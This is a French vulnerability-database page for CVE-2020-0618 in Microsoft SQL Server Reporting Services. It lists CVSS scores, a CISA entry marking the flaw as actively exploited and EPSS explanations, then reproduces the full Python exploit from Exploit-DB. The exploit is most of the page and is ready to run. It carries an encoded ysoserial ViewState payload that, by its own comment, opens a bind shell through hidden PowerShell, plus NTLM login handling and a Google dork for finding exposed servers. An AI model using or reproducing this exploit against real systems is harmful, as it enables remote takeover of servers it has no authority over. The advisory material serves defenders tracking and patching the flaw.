Faiblesses connexes
| CWE-ID |
Nom de la faiblesse |
Source |
| CWE-502 |
Deserialization of Untrusted Data
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. |
|
Métriques
| Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
| V3.1 |
8.8 |
HIGH |
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
| V2 |
6.5 |
|
AV:N/AC:L/Au:S/C:P/I:P/A:P |
[email protected] |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Microsoft SQL Server Reporting Services Remote Code Execution Vulnerability
Action requise : Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2024-09-17 22h00 +00:00
Action attendue : 2024-10-08 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 48816
Date de publication : 2020-09-16 22h00 +00:00
Auteur : West Shepherd
EDB Vérifié : No
# Exploit Title: Microsoft SQL Server Reporting Services 2016 - Remote Code Execution
# Google Dork: inurl:ReportViewer.aspx
# Date: 2020-09-17
# Exploit Author: West Shepherd
# Vendor Homepage: https://www.microsoft.com
# Version: Microsoft SQL Server 2016 32-bit/x64 SP2 (CU/GDR),
Microsoft SQL Server 2014 32-bit/x64 SP3 (CU/GDR), Microsoft SQL
Server 2012 32-bit/x64 SP2 (QFE)
# Tested on: Windows 2016
# CVE : CVE-2020-0618
# Credit goes to Soroush Dalili
# Source:
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618
# https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/
#!/usr/bin/python
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests_ntlm import HttpNtlmAuth
import argparse, requests, logging
from bs4 import BeautifulSoup
from sys import argv, exit, stderr, stdout
# to create a payload (default is bindshell on 0.0.0.0:65535):
# .\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "command..."
class Exploit:
payload = '/wEy4hYAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAqAUvYyBwb3dlcnNoZWxsLmV4ZSAtZXhlYyBieXBhc3MgLW5vbmludGVyYWN0aXZlIC1ub2V4aXQgLXdpbmRvd3N0eWxlIGhpZGRlbiAtYyBpZXgoW3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6ZGVmYXVsdC5nZXRzdHJpbmcoW3N5c3RlbS5jb252ZXJ0XTo6ZnJvbWJhc2U2NHN0cmluZygnSkdFOVczTjVjM1JsYlM1dVpYUXVjMjlqYTJWMGN5NTBZM0JzYVhOMFpXNWxjbDAyTlRVek5Uc2tZUzV6ZEdGeWRDZ3BPeVJqUFNSaExtRmpZMlZ3ZEhSamNHTnNhV1Z1ZENncE95UmxQU1JqTG1kbGRITjBjbVZoYlNncE8xdGllWFJsVzExZEpHYzlNQzR1TmpVMU16VjhKWHN3ZlR0M2FHbHNaU2dvSkdnOUpHVXVjbVZoWkNna1p5d3dMQ1JuTG14bGJtZDBhQ2twTFc1bElEQXBleVJzUFNodVpYY3RiMkpxWldOMElDMTBlWEJsYm1GdFpTQnplWE4wWlcwdWRHVjRkQzVoYzJOcGFXVnVZMjlrYVc1bktTNW5aWFJ6ZEhKcGJtY29KR2NzTUN3a2FDazdKRzQ5S0dsbGVDQWtiQ0F5UGlZeGZHOTFkQzF6ZEhKcGJtY3BPeVJ3UFNJa0tDUnVLU1FvS0hCM1pDa3VjR0YwYUNrK0lqc2tjVDBvVzNSbGVIUXVaVzVqYjJScGJtZGRPanBoYzJOcGFTa3VaMlYwWW5sMFpYTW9KSEFwT3lSbExuZHlhWFJsS0NSeExEQXNKSEV1YkdWdVozUm9LVHNrWlM1bWJIVnphQ2dwZlRza1l5NWpiRzl6WlNncE95UmhMbk4wYjNBb0tUc05DZz09JykpKQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL'
timeout = 0.5
cookies = {}
params = {}
def __init__(self, opt):
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
self.username = '%s\\%s' % (opt.domain, opt.username)
self.target = '%s%s' % (opt.target, opt.path)
self.password = opt.password
self.session = requests.session()
self.redirect = opt.redirect
self.proxies = {
'http': 'http://%s' % opt.proxy,
'https': 'http://%s' % opt.proxy
} if opt.proxy != '' else {}
self.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)',
'Content-Type': 'application/x-www-form-urlencoded'
}
self.form = {
'__VIEWSTATE': '',
'NavigationCorrector$PageState': 'NeedsCorrection',
'NavigationCorrector$ViewState': self.payload
}
if opt.debug:
self.debug()
def info(self, message):
stdout.write('[+] %s\n' % str(message))
return self
def error(self, message):
stderr.write('[-] error: %s\n' % str(message))
return self
def doGet(self, url, params=None, values=None):
self.info('sending get request to %s' % url)
try:
return self.session.get(
url=url,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
data=values,
params=params,
auth=HttpNtlmAuth(self.username, self.password)
) if self.username != '\\' else self.session.get(
url=url,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
data=values,
params=params
)
except Exception as err:
self.error(err)
def doPost(self, url, values=None, params=None):
self.info('sending post request to %s' % url)
try:
return self.session.post(
url=url,
data=values,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
params=params,
auth=HttpNtlmAuth(self.username, self.password)
) if self.username != '\\' else self.session.post(
url=url,
data=values,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
params=params
)
except Exception as err:
self.error(err)
def parsePage(self, content):
self.info('parsing form values')
soup = BeautifulSoup(content, 'lxml')
for tag in soup.select('input'):
try:
self.form[tag['name']] = tag['value']
except Exception as err:
self.error(err)
return self
def debug(self):
self.info('debugging enabled')
try:
import http.client as http_client
except ImportError:
import httplib as http_client
http_client.HTTPConnection.debuglevel = 1
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True
return self
def getForm(self):
self.info('retrieving form values')
resp = self.doGet(url=self.target)
self.parsePage(content=resp.content)
return self
def exploit(self):
self.info('exploiting target')
resp = self.doPost(url=self.target, params=self.params,
values=self.form)
self.info('received response %d' % resp.status_code)
return self
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='CVE-2020-0618 SQL Server Reporting Services
ViewState Deserialization exploit',
add_help=True
)
try:
parser.add_argument('-target', action='store', help='Target
address: http(s)://target.com ')
parser.add_argument('-username', action='store', default='',
help='Username to use: first.last')
parser.add_argument('-domain', action='store', default='',
help='User domain to use: domain.local')
parser.add_argument('-password', action='store', default='',
help='Password to use: Summer2020')
parser.add_argument('-debug', action='store', default=False,
help='Enable debugging: False')
parser.add_argument('-redirect', action='store',
default=False, help='Follow redirects: False')
parser.add_argument('-proxy', action='store', default='',
help='Enable proxy: 10.10.10.10:8080')
parser.add_argument('-path', action='store',
default='/ReportServer/pages/ReportViewer.aspx', help='Path to page')
if len(argv) == 1:
parser.print_help()
exit(1)
options = parser.parse_args()
Exploit(opt=options).exploit()
except Exception as error:
stderr.write('[-] error in main %s\n' % str(error))
Regards,
West Shepherd
OSWE | OSCE | OSCP | OSWP | CEH | Security+
West Lee Shepherd, LLC
Products Mentioned
Configuraton 0
Microsoft>>Sql_server >> Version 2012
Microsoft>>Sql_server >> Version 2014
Microsoft>>Sql_server >> Version 2016
Références
